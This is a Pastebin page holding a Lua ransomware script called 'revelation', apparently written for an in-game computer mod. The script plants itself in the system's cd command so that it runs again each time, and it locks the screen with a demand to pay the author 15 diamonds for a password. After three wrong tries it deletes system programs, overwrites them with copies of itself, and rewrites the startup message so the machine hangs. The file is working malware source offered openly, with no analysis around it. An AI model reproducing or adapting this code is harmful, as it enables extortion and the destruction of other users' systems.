Advertisement
kolya5544

revelation

Jun 11th, 2017
184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.99 KB | None | 0 0
  1. local filesystem = require("filesystem");
  2. os.execute("cls");
  3. if filesystem.exists("/bin/555.lua")==false then
  4. os.execute("copy /bin/cd.lua /bin/555.lua");
  5. end
  6. os.execute("echo \"os.execute('/bin/rev.lua')\">>/bin/cd.lua");
  7. if filesystem.exists("/bin/rev.lua")==false then
  8. os.execute("copy revelation /bin/rev.lua");
  9. end
  10. os.execute("cls");
  11. ::startvirus::
  12. local password="iktm"
  13. local temp=""
  14. local tryings=3
  15. local removed=false
  16. while removed==false do
  17. print("---===System Blocked!===---");
  18. print("-WHATS UP??? -Your system is blocked");
  19. print("-OMFG, WHAT CAN I DO? -You must pay player kolya5544 15 diamonds");
  20. print("-And then? -Write password which he will give you");
  21. print("-I will ask my friend he will unblock my PC!!! -We dont advice you to do this cuz all your info will be removed")
  22. print("-How to write password? -In next line");
  23. print();
  24. print("PASSWORD: ");
  25. temp = io.read();
  26. if temp==password then
  27.   print("OK!");
  28.   os.execute("sleep 3");
  29.   os.execute("rm /bin/cd.lua");
  30.   os.execute("copy /bin/555.lua /bin/cd.lua");
  31.   os.execute("rm /bin/555.lua");
  32.   os.execute("rm /bin/rev.lua");
  33.   os.execute("cls");
  34.   os.execute("reboot");
  35. else
  36.   tryings=tryings-1
  37.   print("You are wrong! You have "..tostring(tryings).." tryings left!");
  38.   os.execute("sleep 3");
  39.   os.execute("cls");
  40.   if tryings==0 then
  41.     print("---===SYSTEM FORMATTING!===---");
  42.     print("---> Deleting user data");
  43.     os.execute("rm /bin/ls.lua");
  44.     os.execute("rm /bin/edit.lua");
  45.     print("---> Formatting system...");
  46.     os.execute("rm /etc/motd");
  47.     os.execute("copy revelation /bin/ls.lua");
  48.     os.execute("copy revelation /bin/edit.lua");
  49.     os.execute("rm /bin/cd.lua");
  50.     os.execute("rm /bin/555.lua");
  51.     os.execute("echo 'print(\"FAILED TO BOOT SYSTEM!\")'>/etc/motd");
  52.     os.execute("echo 'os.execute(\"sleep 50000000\")'>>/etc/motd");
  53.     os.execute("sleep 5");
  54.     print("Bye Bye! >:D");
  55.     os.execute("sleep 2");
  56.     os.execute("shutdown");
  57.     removed=true;
  58.   end
  59. end
  60. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement